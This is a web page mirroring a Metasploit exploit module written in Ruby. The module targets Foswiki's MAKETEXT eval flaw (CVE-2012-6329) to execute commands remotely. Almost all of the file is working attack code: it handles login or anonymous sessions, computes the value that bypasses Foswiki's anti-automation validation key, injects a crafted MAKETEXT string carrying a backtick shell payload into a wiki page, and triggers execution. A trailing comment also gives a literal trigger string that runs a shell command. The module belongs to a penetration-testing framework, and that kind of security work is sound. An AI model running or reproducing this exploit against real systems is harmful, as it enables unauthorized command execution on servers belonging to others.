Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/foswiki_maketext.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Foswiki MAKETEXT Remote Command Execution',
16
'Description' => %q{
17
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
18
a specially crafted MAKETEXT, a malicious user can execute shell commands since the
19
input is passed to the Perl "eval" command without first being sanitized. The
20
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
21
module. Only Foswiki sites that have user interface localization enabled
22
(UserInterfaceInternationalisation variable set) are vulnerable.
23
24
If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
25
Also, if the FoswikiPage option isn't provided, the module will try to create a
26
random page on the SandBox space. The modules has been tested successfully on
27
Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
28
},
29
'Author' => [
30
'Brian Carlson', # original discovery in Perl Locale::Maketext
31
'juan vazquez' # Metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'References' => [
35
[ 'CVE', '2012-6329' ],
36
[ 'OSVDB', '88410' ],
37
[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
38
],
39
'Privileged' => false, # web server context
40
'Payload' => {
41
'DisableNops' => true,
42
'Space' => 1024,
43
'Compat' =>
44
{
45
'PayloadType' => 'cmd',
46
'RequiredCmd' => 'generic ruby python telnet'
47
}
48
},
49
'Platform' => [ 'unix' ],
50
'Arch' => ARCH_CMD,
51
'Targets' => [[ 'Foswiki 1.1.5', {}]],
52
'DisclosureDate' => '2012-12-03',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
65
OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
66
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
67
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
68
]
69
)
70
end
71
72
def post_auth?
73
true
74
end
75
76
def do_login(username, password)
77
res = send_request_cgi({
78
'method' => 'POST',
79
'uri' => "#{@base}bin/login",
80
'vars_post' =>
81
{
82
'username' => username,
83
'password' => password
84
}
85
})
86
87
if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/
88
vprint_status "#{res.code}\n#{res.body}"
89
return nil
90
end
91
92
session = $1
93
return session
94
end
95
96
def inject_code(session, code)
97
vprint_status("Retrieving the validation_key...")
98
99
res = send_request_cgi({
100
'uri' => "#{@base}bin/edit#{@page}",
101
'cookie' => "FOSWIKISID=#{session}"
102
})
103
104
if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
105
vprint_error("Error retrieving the validation_key")
106
return nil
107
end
108
109
validation_key = $1
110
vprint_good("validation_key found: #{validation_key}")
111
112
if session.empty?
113
if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/
114
session = $1
115
else
116
vprint_error("Error using anonymous access")
117
return nil
118
end
119
end
120
121
if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
122
strike_one = $1
123
else
124
vprint_error("Error getting the FOSWIKISTRIKEONE value")
125
return nil
126
end
127
128
# Transforming validation_key in order to bypass foswiki antiautomation
129
validation_key = Rex::Text.md5(validation_key + strike_one)
130
vprint_status("Transformed validation key: #{validation_key}")
131
vprint_status("Injecting the payload...")
132
133
res = send_request_cgi({
134
'method' => 'POST',
135
'uri' => "#{@base}bin/save#{@page}",
136
'cookie' => "FOSWIKISID=#{session}",
137
'vars_post' =>
138
{
139
'validation_key' => validation_key,
140
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
141
}
142
143
})
144
145
if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
146
print_warning("Error injecting the payload")
147
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
148
return nil
149
end
150
151
location = URI(res.headers['Location']).path
152
print_good("Payload injected on #{location}")
153
154
return location
155
end
156
157
def check
158
@base = target_uri.path
159
@base << '/' if @base[-1, 1] != '/'
160
161
res = send_request_cgi({
162
'uri' => "#{@base}System/WebHome"
163
})
164
165
if not res or res.code != 200
166
return Exploit::CheckCode::Unknown
167
end
168
169
if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
170
version = $1
171
print_status("Version found: #{version}")
172
if version <= "1.1.6"
173
return Exploit::CheckCode::Appears
174
else
175
return Exploit::CheckCode::Detected
176
end
177
end
178
179
return Exploit::CheckCode::Safe
180
end
181
182
def exploit
183
# Init variables
184
@page = ''
185
186
if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
187
@page << '/' if datastore['FoswikiPage'][0] != '/'
188
@page << datastore['FoswikiPage']
189
else
190
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
191
end
192
193
@base = target_uri.path
194
@base << '/' if @base[-1, 1] != '/'
195
196
# Login if needed
197
if (datastore['USERNAME'] and
198
not datastore['USERNAME'].empty? and
199
datastore['PASSWORD'] and
200
not datastore['PASSWORD'].empty?)
201
print_status("Trying login to get session ID...")
202
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
203
else
204
print_status("Using anonymous access...")
205
session = ""
206
end
207
208
if not session
209
fail_with(Failure::Unknown, "Error getting a session ID")
210
end
211
212
# Inject payload
213
print_status("Trying to inject the payload on #{@page}...")
214
res = inject_code(session, payload.encoded)
215
if not res or res !~ /#{@page}/
216
fail_with(Failure::Unknown, "Error injecting the payload")
217
end
218
219
# Execute payload
220
print_status("Executing the payload through #{@page}...")
221
res = send_request_cgi({
222
'uri' => "#{@base}#{@page}",
223
'cookie' => "FOSWIKISID=#{session}"
224
})
225
if not res or res.code != 200 or res.body !~ /HASH/
226
print_status("#{res.code}\n#{res.body}")
227
fail_with(Failure::Unknown, "Error executing the payload")
228
end
229
230
print_good("Exploitation was successful")
231
end
232
end
233
234
=begin
235
236
* Trigger:
237
238
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
239
240
=end
241
242